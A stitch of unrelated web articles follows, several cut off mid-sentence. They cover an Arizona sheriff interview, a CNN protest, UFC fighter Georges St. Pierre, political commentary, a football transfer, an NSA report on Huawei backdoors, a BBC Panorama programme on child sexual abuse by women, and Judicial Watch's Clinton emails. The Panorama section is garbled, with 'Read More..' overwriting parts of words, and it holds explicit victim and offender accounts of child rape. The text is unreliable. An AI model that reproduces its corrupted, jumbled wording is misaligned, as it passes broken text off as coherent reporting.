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I recognize 24 years in the making, maybe those employees only know that one form of leadership. It’s a hard habit to break; it’s a hard change to make. But it needs to be done, so if you’re willing to work with me to do it, then there’s going to be some great opportunities.
One of the benefits that I have is, this is my community, this is where I’ve worked, and a lot of the professionals in law enforcement throughout the Valley are invested in this change and are willing to help if needed. So, hopefully it’s internally, that all the tools are there that we need. If not, then I’ll bring some folks in that I think are going to be the best fit to mesh with.
What types of changes are we going to see in the office? Will pink inmate underwear still be around? Tent City Jail?
Let’s work with the ones first that actually have value, from my perspective, outside looking in.
The posse is going to become something that I’m really excited about. We’re going to look at ways to expand it to incorporate younger men and women in that. And treat it in a way where it’s a resource to the community. We’re doing things like education on drug addiction … the big problems we have, heroin and OxyContin. Gun safety, home safety, (we'll be) addressing a lot of factors where they can be trained and certified and they go out in the community and train.
This is simplistic but, look at crime scenes. Sometimes you’ll see the news and the officers … around the perimeter just kind of stand there holding the scene. Well, trained posse members would go out there and relieve them, while working in partnership with other agencies, so those officers can go back in service.
Pets, animals, those issues, the MASH unit, are extremely important because we can’t allow for violent people in our community to harm our animal friends.
The Tent? I don’t know. I can’t answer to that until I really evaluate the efficiency of it, the cost of it, and the effectiveness. And then I’ll make a determination.
But I’m not attached to pink underwear. I’m not attached to pink handcuffs, I’m not attached to Tent City, unless for some reason it’s a benefit for this community. And when I see that, then we’ll stay with it. But when there’s an argument otherwise, I’ll make the appropriate decision at the appropriate time.
Read or Share this story: http://azc.cc/2fhdd6OShare this article:
Hundreds of people lined both sides of Sunset Boulevard in Hollywood to protest CNN’s political coverage outside the network’s Los Angeles bureau.
Campaign supporters of Vermont Sen. Bernie Sanders said they were unhappy that corporate news media were covering Donald Trump’s campaign extensively, but ignoring issues that Sanders is raising.
The protest was live-streamed to the Internet.
“I used to be a CNN junkie, I used to watch it 24/7,” said one protester on the feed. “Now, CNN spends 90 percent of the time covering Trump, and there are so many issues other than Trump arguing or bickering with people.”
No arrests were made at the event Sunday, and march organizers said on the video feed that they were working with police to ensure all laws would be followed.
Sgt. Chuck Slater of the Los Angeles Police Department’s Hollywood Station estimated the crowd at about 500 people.
CNN did not respond to a request for comment.
While the Sanders protesters were gathered on Sunset Boulevard, former President Bill Clinton was speaking at Los Angeles Trade-Technical College downtown to rally supporters of his wife’s bid for the Democratic presidential nomination.
California’s presidential primary will be held June 7.
Sanders and former Secretary of State Hillary Clinton are two of the seven candidates who will appear on the Democratic |
. The emphasis of a local club coach, who trains his team on a weekly basis is of course totally different than if you only got to work with a team every few months for a limited time. Both are great characters, just different in their nature.
What do you want to know about me in my next article?
Yours,
Schü
Bilder: Instagram André Schürrle, KunzGeorges St. Pierre is perhaps the most dominant fighter in UFC history. He's amassed a record of 15-2 in his seven year UFC career, winning seven of those fights definitively. But the fight game is a what have you done lately sport - and four of St. Pierre's last five fights have gone to the judges. It's led a new generation of fans to whisper that the welterweight kingpin can't finish.
In fact, over his superlative career, no one has displayed a more invigorating collection of finishing techniques than Georges St. Pierre. His hands, feet, elbows, and his keen mind are all dangerous weapons - as we're about to see with this in depth look at the finishing techniques of a great champion. (Photos courtesy of UFC.com)
Opponent: Jay Hieron
Technique: Punches
Jay Hieron started fighting because he was furious. Tossed out of Hofstra before his senior season after he was caught smoking weed, Hieron was mad at the world. He took to the streets where he proceeded to take out his anger on anyone he could find. Instead of picking his life back up and starting fresh, Hieron spiraled out of control. A drug habit became a profession. Jail followed.
For Jay Hieron, the UFC was a second chance. It was a storybook tale of redemption - until he ran into Georges St. Pierre. It took less than two minutes for St. Pierre to send Hieron back to the drawing board. After just a year training MMA, Hieron was amazingly good. St. Pierre was better, battering him with punches and kicks finally knocking him down with a three punch combo and finishing him off with punches and elbows on the ground.
Opponent: Frank Trigg
Technique: Rear Naked Choke
It was a fight for a title shot as the number two and number three welterweights in the world squared off in Las Vegas. Frank Trigg, before his run in professional wrestling, committed a cardinal sin: when promoting your fight, never downgrade and dismiss your opponent's ability. Trigg called St. Pierre a "B-Level Fighter." It was a critique that made no sense. If Trigg could have pulled of the win, well, so what? You just beat a guy you told the world wasn't a top fighter. If he runs through you like a freight train, which he did, guess what? You got beat by a "B-Level Fighter."
St. Pierre was no doubt angry. But he saved his efforts for the cage. Trigg was a great fighter who had taken champion Matt Hughes to the limit. St. Pierre mauled him. It wasn't even competitive. When St. Pierre locked in the rear naked choke, there was no escape. Someone looked like a "B-Level Fighter" that night - but it wasn't Georges St. Pierre.
Opponent: Sean Sherk
Technique: Ground and Pound
When Sean Sherk met Georges St. Pierre in the middle of the Octagon he was a confident man. Rightfully so. He had lost just once in a 33 fight career. Sure the bulk of those fights had occurred in places like Worley, Idaho or Brainerd, Minnesota but he had established his bonafides on the world level by surviving five rounds with the great Matt Hughes.
Sherk is absolutely jacked here; they don't call him the Muscle Shark for no reason. But St. Pierre is a true welterweight and looks the part. Sherk is a blown up lightweight and that was the difference in the fight. In the second round St. Pierre takes down the wrestler and drops some brutal ground and pound from the top position. A huge left elbow comes crashing down and Sherk literally screams, incensed about the decisions he had made in his life that led to this moment, the indignity of having a grown man on top of him raining down blows, and, oh yeah, the pain. The end is nigh as referee Herb Dean finally rescues Sherk from an extended beating. St. Pierre was clearly a force in the welterweight division. Sherk and Trigg had both given champion Matt Hughes trouble. St. Pierre had treated them like pesky children. It was time for the challenger to meet the champion once again - and this time the fight world was expecting a totally different match.
Opponent: Matt Hughes
Technique: Head Kick
The second fight between Matt Hughes and Georges St. Pierre wasn't just for the UFC's welterweight title. The winner would arguably be the best pound for pound fighter in the sport. Both had beaten Trigg, Sherk, and a returning B.J. Penn. Both were well rounded, strong as oxes, and tough as nails. It was supposed to be a fight for the ages.
At first it looked like there might not be a fight at all. St. Pierre nailed Hughes in the junk, not once, but twice in a row in the first round. Hughes gutted it out and returned to action, but probably regretted it later. St. Pierre absolutely destroyed him, shrugging off a takedown attempt and nailing him with a "Superman" punch and left hook. He was on his way to a stoppage it seemed when the bell rang to end the round.
Hughes had one minute to regroup in his corner between rounds. He could have had one week or one year. A lifetime of reflection wouldn't have helped. St. Pierre was the better fighter and proved it, catching Hughes ducking in for a takedown with a brutal left high kick. It wasn't Cro Cop, but it was close enough. Some perfunctory ground and pound followed but it was the kick that finished it. Georges St. Pierre, after chasing the title for almost three years, was finally the welterweight champion of the world.
After the break: More great finishes from GSP
Opponent: Matt Hughes
Technique: Armbar
The third and deciding match in a great trilogy between Hughes and St. Pierre was originally supposed to be Hughes challenging Matt Serra for the welterweight title he had shocked the world by taking from St. Pierre at UFC 69 in Houston. Hughes and Serra had gone back and forth in a great season of The Ultimate Fighter, but a Serra back injury forced him to pull out of the fight. GSP was right there, ready and willing, to take on Hughes for an interim title.
The evening started off strangely, with ring announcer Bruce Buffer announcing to the world that St. Pierre was "standing five feet tall." With the addition of bantamweights to the UFC, he might actually get to make that announcement one day, but for St. Pierre, it was 11 inches short of the mark. By this point it's not even a competitive matchup. Hughes, until St. Pierre the greatest welterweight in MMA history, has no answers for the young Canadian. GSP doesn't just defend Hughes's takedowns with aplomb, he takes the former NCAA All American down with shocking ease. St. Pierre finishes the once great champion with an armbar, but it looked like he could have done whatever he wanted with him. St. Pierre had taken not just his own game, but the entire fight game to a new level.
Opponent: Matt Serra
Technique: Knees to the Body
In the fights with Matt Hughes the crown reaction was a mixed bag for GSP. Both men were cheered but in the first fight there were scattered "USA, USA" chants throughout the building. Someone could have started a "USA" chant in the Bell Centre in St. Pierre's hometown of Montreal, Quebec, Canada at UFC 83 - if they didn't want to make it out of the building alive. His opponent, diminutive champion Matt Serra, had committed two mortal sins in the eyes of Canadian fans. First, he had the nerve to upset St. Pierre with a shocking punch to the temple that staggered the seemingly unbeatable champion. And, perhaps more importantly, he had the nerve to mock hockey in the build up to the fight.
The pre-fight trash talk was fun. It certainly got the crowd interested in the bout. But once the bell rang, it was all St. Pierre. Carefully avoiding Serra's looping power punches, St. Pierre took the jiu jitsu wizard down and pounded on him couldn't fight anymore. By the second round Serra had resorted to turtling up, collapsing into a ball and hoping St. Pierre would just leave him be. But this wasn't old school Pancrase. St. Pierre responded to this tactic with brutal efficiency, kneeing him in the side again and again until the referee has no choice to stop the fight. It was the fight we had all expected the first time around - lightning, I suppose, only strikes once.
Opponent: B.J. Penn
Technique: No Mas
Penn was the UFC's lightweight champion, but some things never change - the money fights were at 170 pounds. And Penn, like all fighters, has money on his mind. Besides, the 155 pound god had given St. Pierre his toughest fight in 2006, narrowly losing a split decision many thought could have gone his way. But that was against the old St. Pierre. The new GSP was a different beast.
For three rounds Penn has no answer to St. Pierre's grinding game plan. The champion is leaning on the Hawaiian wherever the fight goes, wearing him down, breaking him. By the fourth round Penn has nothing left to give. St. Pierre dominates from bell to bell, a textbook 10-8 round. In the corner, as the seconds count down for the fifth round to begin, Penn never gets up off his stool. His cornerman and brother Reagan tells officials Penn isn't going to fight anymore. The proud champion has quit in the corner.
Although some fans may have complained about the conservative game plan, this was GSP at his best. It's one thing to win with a flash knockout or tricky submission. It's another to push someone until they break, deciding in their heart of hearts that they just don't have what it takes to beat you. That is dominance. That is Georges St. Pierre.Well, now we're back, and it wasn't some terrible dream. El Caudillo del Mar-A-Lago is still less than a month away from the nuclear codes, and he still can't seem to control himself whenever he's within 15 yards of his telephone.
Over the happy holiday weekend, he took to the electric Twitter machine to a) propose a new nuclear arms race, b) scare the hell out of Pakistan, c) pretend that he didn't want those icky A-listers at his party anyway, d) lie about the nature of his "charitable foundation," e) take credit for All Good Things since November 8, and f) get handsomely trolled by the current president of the United States, who opined on David Axelrod's podcast that, had he and Trump run against each other, he would have left Trump with a very clean clock.
Up with this, of course, Himself would not put. Per CBS News:
President Obama said that he thinks he would have won against me. He should say that but I say NO WAY! - jobs leaving, ISIS, OCare, etc. — Donald J. Trump (@realDonaldTrump) December 26, 2016
At least he deleted the "JOSE!" after "NO WAY!" Pivoting!
(Also, hey, Boris? Woodstock was almost 50 damn years ago. Please try to keep up.)
The point is that he couldn't let this obvious affront to his world-historical 46th biggest landslide in presidential history go unanswered, while not uttering a peep when his primary surrogate in New York state was unleashing a barrage of unspeakable racist venom at the current First Family. I mean, the guy's own kid has deplored what his old man said. Not the president-elect, though. He's too busy protecting his mandate from imaginary challenges. At this point, I think if the president suggested running through a tiger pit wearing a meat suit, the president-elect would go out and buy some double-breasted lamb chops. Please keep this up, Mr. President. You have a little more than 20 days left of this kind of fun.
Scott Olson Getty Images
But it's also important to keep an eye on what's going down out there beyond the fences of Camp Runamuck. Empowered conservative dickitude really showed its fangs over the holidays. There was this professor down at Drexel named George Ciccariello-Maher, who tweeted out a sarcastic, "All I want for Christmas is white genocide," not realizing that among the minions, "white genocide" is one of the high worship-words that only the chiefs and sons of chiefs may utter.
Naturally, this sent the crowd at Breitbart's Mausoleum For The Otherwise Unemployable all a'twitter, and The Daily Caller, ever content to be the last fly on the dungheap, chimed right in. The university already went mushy on defense. (Corey Robin has a good wrap-up.) Expect to see more of this in the next few months. Who knew these ruff-tuffers were such special snowflakes.
Oh, I forgot to mention that the president-elect has a remarkable notion of what the United Nations is.
The United Nations has such great potential but right now it is just a club for people to get together, talk and have a good time. So sad! — Donald J. Trump (@realDonaldTrump) December 26, 2016
Y'all should've seen it when DJ Hammarskjold was spinning. Place was dope, I tell you.
Click here to respond to this post on the official Esquire Politics Facebook page.Liverpool FC are delighted to confirm that a deal has been completed to sign England international defender Nathaniel Clyne from Southampton.
The 24-year-old full-back has penned a long-term contract with the Reds to become the sixth new player at Anfield so far this summer.
Clyne made 94 Barclays Premier League appearances during the past three seasons, after switching to the south coast side in 2012.
He was a goalscorer for Southampton at Anfield on the opening weekend of the last campaign, blasting into the Kop end net in a 2-1 defeat.
His consistent form earned international recognition and Clyne made his England debut against Slovenia in November 2014. He has five caps in total.
After inking his Reds deal, he told Liverpoolfc.com: "I'm delighted and it's a dream move for me to come here and play for such a big club with all of its history. I can't wait to get started.
"As soon as Liverpool showed their interest in me, I was happy and just wanted the deal to go through.
"The gaffer has shown a lot of interest in me and this is a place where I can improve as a player, I think. It's definitely a good opportunity to come here and try to fulfil my potential.
"I've played at Anfield before and know what the atmosphere is all about. It's a great atmosphere and will make me rise to the challenge. I'm really looking forward to it and hopefully it can push me on to putting on good performances."
Clyne follows James Milner, Danny Ings, Adam Bogdan, Joe Gomez and Roberto Firmino in agreeing transfers to Liverpool ahead of next season.
Click here to get tickets to watch Liverpool's new signings in pre-season action this summer>>The family of the late Ruth M. Stephens has established a prize in her honor to be given for articles submitted by women to Interpreter: A Journal of Mormon Scripture.
First Prize $500
Second Prize $300
Any manuscript written by a woman and either submitted to or published by Interpreter before 1 August 2017 will be eligible for consideration. Submissions should meet the standards of Interpreter and focus on some aspect of Latter-day Saint scripture (Bible, Book of Mormon, Doctrine and Covenants, Pearl of Great Price) or some reasonably related topic (e.g., the Witnesses to the Book of Mormon, specific Latter-day Saint doctrines, early Christian thought, etc.). Those who wish to participate in this competition should see previously published Interpreter articles in order to gain an idea of the topics in which the journal is interested.
The Interpreter Foundation reserves the right of first refusal for publication of all submitted articles, as well as the right, at its discretion, of awarding no prize, or only one. The prize-winning article, assuming that there is one, will be announced on the website of The Interpreter Foundation on the birthday of Ruth M. Stephens, 23 September 2017.
Submitted manuscripts and published articles will be judged by a panel consisting of editors for Interpreter, invited scholars, and members of the extended family of Ruth M. Stephens.
To submit, please use the submissions form on the Interpreter Journal’s submissions page.
Please let us know if you have any questions by contacting us on The Interpreter Foundation’s contact page.
Past Winners
2017 Winner – Anita Wells
2016 Winner – Elizabeth Nielson
2015 Winner – Julie M. Smith
2014 Winner – A. Jane BirchIf you only read headlines about achingly politically correct tech founders like Mark Zuckerberg and Jack Dorsey, you’d be forgiven for thinking that Silicon Valley, for all its rapacious capitalistic instincts, is a hellhole of progressive hand-wringing.
But that’s not what I hear from CEOs and angel investors on the libertarian wing of the Valley, some of whom are so fed up with the state of Obama’s America they are openly discussing seasteading and carving California up into smaller states. They say Silicon Valley is distinctly unimpressed with Hillary Clinton and that fundraising events have been surprisingly frosty affairs.
They also point out that Silicon Valley’s reputation for wacky leftist politics isn’t the whole story. It comes partly from lower-level employees, who are vocal on Twitter about “diversity” and help to shape the image of many young social media startups. They don’t speak for founders or investors, who are less politically idealistic.
The impression is also drawn from marketing language and corporate social responsibility initiatives designed to give red-in-tooth-and-claw business models the allure of friendly and approachable progressive campaigns. They point to the “sharing economy” as a prime example.
To be sure, some San Francisco startups are left-wing through and through, particularly the social networks. But even among the likes of Twitter and Facebook, there are board members and influential early investors whose politics could not be more removed from those of its marketing managers. And you only need to look to Uber, which is hoovering up rich, posh, conservative graduates, to realise the tech industry is more politically diverse than it’s given credit for.
I can’t give too much away, obviously. But astute readers will be able to work out the sort of person I’ve been talking to over the past few months — and they’re not low-level PR executives. On a recent drive from Los Angeles to San Francisco, one investor spoke in glowing terms about Trump’s potential to win over Valley elites.
What little Donald Trump has said publicly about tech, including an exclusive interview with Breitbart Tech for our launch, has not suggested a particularly deep commitment to courting the technology industry beyond concerns about national security. He has, for example, hinted at his disapproval of video games.
Valley insiders say that if he were to give them the visas they want — admittedly a tough sell to his core supporters — and sit down with founders from tech, media, gaming, virtual reality and artificial intelligence, he’d find an unlikely but significant base of support among some of Silicon Valley’s most influential players.
Venture capitalists are getting sick of being slammed in the tech press for being white male clubs and for discriminating against women and people of color — which of course they don’t. If there’s a problem with minority representation, and some argue there’s no problem to be fixed at all, it’s a question of supply. VCs can hardly be blamed for the skin color of people who walk through their doors asking for money.
Constant nagging and name-calling from left-wing media has left many investors disillusioned with progressive politics. Combine that with the rapidly acquired and staggering net worth of many of these individuals, their natural predisposition toward rugged individualism and the cult of “disruption” and it’s not hard to see why many are quietly switching their allegiances to libertarian and even Republican political figures.
Don’t expect tech industry figureheads to praise the likes of Sarah Palin any time soon. But it’s worth remembering that for all the public donations to the Democrats made for public relations purposes by Valley startups and their founders, many of the richest and most successful people in the tech industry hail culturally from the wilds of 4chan, where Trump is adored.
Watching entertainment stars come out for Trump, says one VC, means that one or two Valley bigwigs might even be moved to support Trump publicly. That would cause uproar in tech media. But if Trump’s winning streak continues, it’s not as unlikely as you think.JEFFERSON CITY, Mo. - Some state officials are saying Missourians could be at risk because of a lack of money.
The Missouri Public Health Association has asked Governor Jay Nixon to release more than $3.3 million for public health that he's currently withholding from the state budget.
This letter claims the money is critically needed. And a spokesman said without it, Missourians may not be prepared to fight an outbreak, whether that be the flu or measles or Ebola.
Bert Malone, Chair of Advocacy for the Association, told ABC 17 News this withholding means major cutbacks to our first line of defense: local health departments.
"Those funds are critical to our public health agencies and without them, as indicated in the letter, there are going to be some agencies severely strapped," Malone said.
He said some of those cutbacks are already happening in the form of cutting back hours, laying off employees. And it could mean vaccines and treatments for infectious diseases may not be available.
"The action being taken now of laying off staff at already strapped public health work forces and cutting back on hours... we'll be seriously jeopardizing the ability to protect the health of the public," Malone said. "Hard decisions will have to be made about what services will be provided at a local level."
Malone argued this cutback isn't wise for the future because if the local health departments aren't able to provide these services to keep Missourians healthy, the responsibility will fall to the state.
ABC 17 News reached out to the Governor's office to find out why these funds are being withheld and if they will be released.
They sent this statement, saying: "The State of Missouri, through the Department of Health and Senior Services has been working with local hospitals and public health agencies and is fully prepared to protect Missourians from infectious diseases, including Ebloa, if it were to arrive in Missouri. It is important to note that revenue is limited and the Governor has a responsibility to keep the budget in balance. Spending restrictions were necessary this year after the General Assembly passed a budget that was nearly $800 million out of balance. The Governor will continue to monitor the budget situation and release funds if possible as revenue becomes available."
There is still federal money available, but that is allocated on a year-to-year basis so there is no way of knowing if it will remain the same or decrease next year.Chinese electronics manufacturer Huawei decided to withdraw from U.S. business last year amid accusations that it built backdoors into American government and business systems. But while the U.S. government was publicly accusing the company of espionage, the NSA had already established its own backdoors into Huawei's networks, say Der Spiegel and The New York Times.
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Newly revealed NSA documents show that NSA project "Shotgiant" had access to the company's main office network in Shenzhen since January 2009. The agency was able to eavesdrop on internal email communications, including those from company CEO Ren Zhengfei and Chairwoman Sun Yafang, and access the source code of numerous Huawei products.
Documents leaked by Edward Snowden, and viewed by The Times and Der Spiegel, indicate the NSA hoped to access networking equipment that Huawei sold to foreign governments, in an effort to spy on both allies and enemies. The Times quotes the NSA documents:
"Many of our targets communicate over Huawei-produced products [...] We want to make sure that we know how to exploit these products, [to] gain access to networks of interest" around the world.
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"We currently have good access and so much data that we don't know what to do with it," states an internal document quoted by Der Spiegel.
While Huawei is retreating from the U.S. market, the company claims its industrial routers and other telecommunications equipment connects one third of the world's population. [Der Spiegel; NYTimes via The Verge]Women who sexually abuse children and youths
The Ultimate Taboo: Child Sexual abuse by women
The Sexual Abuse by Women of Children and Teenagers
Summary of UK TV programme - Panorama - BBC1 - 10 pm Monday, October 6th, 1997
Warning: This programme contains explicit descriptions of attacks and the emotional and physical damage they have caused, which some viewers may find distressing.
The sexual abuse of children by women was once thought to be so rare it could be ignored.
In this programme the victims tell a different story.
Summary
This was a vivid and horrific programme in which the victims of sexual abuse by women told disturbing stories of emotional and physical damage:
Rape and attempted murder of a 12 year old boy by a 19 year old girl
Rape and abuse of a 12 year old boy over a two year period by a 28 year old mother of four
Rape and abuse of boys by their mother
Rape and abuse of girls by their mother
Women taking a lead role in pornographic violence and abuse
Children abused by nun
Children abused at playgroup
Boy abused by lesbians
It was acknowledged that the scale and nature of these attacks had been severely underestimated and there were examples of women using excessive force with implements such as chair legs and cutlery.
A surprising 86% of survivors of sexual abuse were not believed when they said the abuser was a woman.
Many myths were exposed, such as the one that women only sexually abused when coerced by men - they in fact played the lead part. Also the myth that women are incapable of cruelty - what was shown was beyond belief.
But despite the seriousness of these offences, women generally escaped custodial sentences.
Statistics
The programme claimed that:
Women commit 25% of all child sexual abuse
250,000 children in UK have been sexually abused by women
People find it difficult to believe.
The issue strikes at the core of what women perceive themselves to be:
The whole view of women is of nurturers, carers, protectors - people who do anything to look after children
The crime seems so unnatural it offends against all instincts, so society is reluctant to even associate women with sexual abuse
It's easier to think that it's men - men the enemy, somehow - but it can't be women - it's one thing women can't do
Society excuses female abusers
What tends to happen is that the female sexual abuser is excused in some way.
"She must have been misguided", or it was a "chronicled affair". We wouldn't have said that about a man. And what happens is that the sentences are Read More..nient.
The judges might even think "Well a woman really couldn't have done this - it must have been a mistake".
And they usually get probation or they walk free. A man doing that would be locked up.
their testimony shatters the myth that women only sexually abuse if coerced by men.
Women are seen as victims
Women are seen as victims rather than enemies or perpetrators of any abuse.
Women in our society have been portrayed as victims, but somewhere within their victimisation they have learned that to abuse children gave them a sense of power, control, agency, and therefore they use the abuse of children to gain those things.
Disbelief the biggest trauma
The biggest trauma for some victims is disbelief. A survey of 127 survivors by the children's charity Kidscape showed 86% were not believed at first when they named a woman as their abuser.
The fact that we are not expecting women in our society to do this - not expecting that women our society do this actually has profound effects on the victims, often making the experience go on much longer than it would have done in other cases, but also making them feel Read More..igmatised, Read More..fferent, Read More..trayed, Read More..werless.
Read More..aumatic to be sexually abused by a woman
It was Read More..aumatic to be sexually abused by a woman - children feel Read More..trayed, they feel very angry, they feel the woman should have cared for them, should have loved them instead of abusing them.
Violent and sadistic attacks
The violence that often accompanies the abuse is unexpected of a woman.
Victims often report excessive force equivalent to if not greater than that of a man.
Women are supposed to be the gentler sex, women are supposed to be incapable of cruelty in a sense.
Many of the abusers have been very sadistic - cruelty that is almost unimaginable.
Half the women in a recent survey of 50 convicted female sexual abusers said they derived sadistic pleasure from inflicting pain on victims.
Across the board
The research showed neither class nor age were barriers to their behaviour. We can't make assumptions about the type of woman who will sexually abuse a child - sexual abuse is committed by:
Women of any age from young teenagers to grandmothers
Women from any class - from women who barely had a house to live in during their life to women with very large houses.
Women from any level of education - women who can barely read and write to women who've got degrees.
Female abusers acquire positions of trust
Some children aren't just at risk from the people they live with; they are vulnerable targets when they leave their homes.
Out in the community female sexual abusers can manoeuvre with even Read More..se than men into positions of trust with authority over lost of children.
Eternal victims
Some of those abused become eternal victims and never recover from that.
Other children will mask their confusions and go into adulthood and never really be able to sustain relationships, or have very distorted relationships because of their enormous confusions.
And there are other children who will go on to hurt not only other children in their own childhood but in adulthood.
The need for Read More..rk
There's very very little being done to look at the issue of female sexual abuse. We have no programmes in this country that are aimed at working with female sexual offenders specifically. Quite a lot of professionals are picking up women offenders now. What they're not doing is having the resources to help them deal with these women offenders. It's because so many professionals are now getting to pick up women offenders that we are now getting to realise some of the extent of the problem throughout the country.
Few abusers ever volunteer their guilt, and behind closed doors it is difficult to prove. A woman's traditional role in the home as a mother often puts her above suspicion, and medical evidence is hard to obtain. But as Read More..d Read More.. women's victims come forward and speak out they may just force us to face up to the ultimate taboo.
The Sexual Abuse by Women of Children and Teenagers
UK TV Programme - Panorama - BBC1 - 10 pm Monday 6th October 1997
Warning: This programme contains explicit descriptions of attacks and the emotional and physical damage they have caused, which some viewers may find distressing.
Narrator: The sexual abuse of children by women was once thought to be so rare it could be ignored. Today the victims tell a different story.
Woman: You knew when my mum was being really nice, you knew something was going to happen - you were going to get raped.
Man: Imagine your worst nightmare come true. It probably doesn't even come close to it.
Narrator: Tonight Panorama reveals how the scale and nature of this sexual taboo has been severely underestimated.
Boy: We used to play football together, go for walks, we were just friends.
Cheryl:
Narrator:
Cheryl's friend was just a 12 year old schoolboy. She was 19. Walking with him one evening she committed such a serious act of sexual indecency she went to prison for it.
Cheryl:
So I says to him, I says, we'll walk the field way. So we started walking the field way and I sat down; he sat down. I pushed him back, pulled his trousers down, pulled mine down, then I had sexual intercourse with him... until someone was walking past with a dog.
Interviewer:
And how long did this assault go on for?
Cheryl:
About 15 minutes
Interviewer:
Why did you do it in the first place?
Cheryl:
'Cause I were feeling aroused. He was crying, shouting for his mum, he wanted to go home.
Interviewer:
And what did you think when you saw him crying?
Cheryl:
At that time I couldn't think straight, so I just carried on.
Narrator:
After she had raped the child, Cheryl realised that as a woman who had abused, she had broken one of society's most serious taboos. She marched him to a railway bridge, believing there was only one option left to her.
Cheryl:
Then I looked round to see if anything were coming.. such as transport, and there was nothing and I just pushed him over. I were thinking what have I done wrong?
Interviewer:
Why did you push him?
Cheryl:
Trying to frighten him - scare him so he wouldn't tell what happened.
Interviewer:
You could have killed him. Did you know that when you pushed him?
Cheryl:
Yes
Narrator:
The boy survived his fall from the bridge. Cheryl was sentenced to 18 months for indecent assault and grievous bodily harm.
Narrator:
Sexual abuse by anyone is appalling, but when the perpetrator is a woman the crime seems so unnatural it offends against all instincts. It's thought that 10% of the population are abused as children; it is hard to accept that some of their tormentors are women
Jacqui Saradjiam: (clinical psychologist)
I think people find it so difficult to see that women sexually abuse children because the whole view of women is of nurturers, carers, protectors - people who do anything to look after children - and they see the women as victims rather than enemies or perpetrators of any abuse.
Michelle Elliott: (Director - children's charity Kidscape)
I think the issue strikes at the core of what we perceive ourselves as women to be. I think that it's easier to think that it's men - men the enemy, somehow - but it can't be women - it's one thing women can't do. Women can be equal, we can be free, we can be in charge of companies, but we can't sexually abuse children - That's a load of rubbish.
Tina:
Narrator:
Reaction to 28 year old Tina Purser's relationship with another 12 year old boy demonstrates society's reluctance to even associate women with sexual abuse. Purser, a trained nurse and mother of four secretly abused the 12 year old for two years.
Interviewer:
When did she make her first sexual approach? How did she do it?
Mother:
Apparently not long after he was 12. Her own children she'd sent round to the local park to play. Our son was in the house and she was just doing her housework and apparently while she was cleaning the bathroom she just turned around to our son and said how would you like this and actually abused him - she masturbated him on that first occasion, with him apparently leaning against the door. Afterwards he just cleaned himself up and she said "You'd better pop off and play with the children now and I'll finish the housework and see you later."
Interviewer:
Do you think she targeted him?
Mother: Definitely. She went for that blonde gorgeous little boy. She used her son to get him. She used her son to get him over to play. She used her son to do the things that our son liked doing. If our son liked certain videos, she'd get her son to like them too.
Interviewer:
On any level do you understand what she was getting out of a relationship with a 12 year old boy?
Mother:
None whatsoever. If he'd have been a Chippendale, yes, but a 12 year old boy, no. I can only presume that she was getting from it sex, and didn't have the problems of a grown up man and demands of a grown up man and a full blown relationship. This was just easy sex.
Narrator:
It took secret tape recordings by a private detective to convince the authorities that Tina Purser was abusing the boy, albeit he appeared to consent. The family were distressed the media reported the relationship as an affair.
Interviewer:
Would you say what they were having was an affair?
Mother:
No. She raped him. She raped him hundreds of times and robbed him of six years of his childhood. I had a gorgeous little boy and now I've got a very aggressive moody teenager.
Narrator:
Tina Purser was found guilty of two indecent assault charges, but the sentence was just two years probation and the judge said he didn't see Purser as a future risk to children.
Society excuses female abusers
Michelle Elliott:
What tends to happen is that the female sexual abuser is excused in a way. "She must have been misguided", or it was a "chronicled affair". For example an affair with a 34 year old woman and a ten year old boy. I mean we wouldn't have said that about a man. And what happens is that the sentences are Read More.. lenient. The judges might even think "Well a woman really couldn't have done this - it must have been a mistake". And they usually get probation or they walk free. A man doing that would be locked up.
Narrator:
That's because men have long been seen as both capable of sexual abusing children and as being the main perpetrators. That still holds true; they are, but there is increasing evidence that far Read More..men sexually abuse children than previously thought.
Michelle Elliott:
In the past the statistics have indicated that perhaps 2-5% of abusers are female. I think, based on the people who've contacted me, that that is probably much higher, maybe as high as 25%.
Chris
Narrator:
Chris Roberts, seen here in the 1980's in a foster home, was removed from his own home because of physical abuse by his father. What the authorities didn't even consider at the time was that his |
Does Claire manage this or does it all go to Joe? Are there personal files as well as official ones set up? If I don’t write anything on paper – as I mostly don’t – Lauren knew how to file it all in the Senate. I’m sending out a mix which sometimes Claire and other times Lauren picks up from the out box. What happens then is a mystery to me! So, I think we need to get on this asap to be sure we know and design the system we want. Let me know what you both think. Thx. From: Huma Abedin
Sent: Sunday, March 22, 2009 11:57 AM
To: hdr22@clintonemail.com, JilotyLC@state.gov
Subject: Re: Follow up We’ve discussed this. I can explain it to you when I see u today.
The new documents also include a March 23, 2009, email exchange between then-State Department Official Corley Kenna and former Clinton Chief of Staff Cheryl Mills, containing the political contribution history of Judith Heumann. The contribution history contains five separate contributions to the presidential campaigns of Clinton and Barack Obama. According to the documents, Mills forwarded the email exchange directly to Clinton. In 2010, Heumann was appointed as the State Department Special Advisor on Disability Rights.
The new emails also show new communications between Clinton Foundation advisers (including Douglas Band), Abedin, and Clinton about the Middle East, and a Haiti “donors” conference. The emails show that Clinton wanted to collect positive comments about her tenure to give to the press reporting on her first 100 days in office. The emails also show that Clinton tried to obtain a job at State for the son of former British Prime Minister Tony Blair.
And a March 21, 2009, email from a sender whose name seems to have been kept secret contains explicit instructions to Clinton and Mills on how to handle a State Department “team meeting” that is to occur the following day. Clinton is advised to create the “perception” that “you are interested and engaged … that you are listening and that you are watching.” [Emphasis in original]
The documents also include a previously released March 21, 2009, classified email document created by then-Clinton Deputy Assistant Secretary of State for Strategic Communications and Senior Communications Advisor Phillipe Reines. Reines sent the email from his non-state.gov account with the subject line “Kharzai” to Clinton and Abedin. Reines writes “I think you know my close friend Jeremy Bash is now Panetta’s Chief of Staff at CIA.” The rest of the message is redacted under the National Security Act of 1947, which protects intelligence sources and methods from public disclosure.
“These new emails show Hillary Clinton was more than concerned about the handling of her records – both personal and official,” said Judicial Watch President Tom Fitton. “What other damaging emails have Hillary Clinton and the Obama State Department withheld from the public?”
Last week, Judicial Watch uncovered new Clinton email records through court-ordered discovery.
Twice in May, Judicial Watch uncovered new Clinton emails, including emails that show Clinton knew about the security risk of her BlackBerry (see here and here).
Last week, Judicial Watch released other State Department emails (one batch of 103 pages, the second of 138 pages), with newly discovered Clinton emails also going back as far as January 2009.
In March, Judicial Watch released Clinton State Department emails dating from February 2009 that also call into question her statements about her emails. Those emails contained more evidence of the battle between security officials in the State Department, National Security Administration, Clinton and her staff over attempts to obtain secure BlackBerrys.
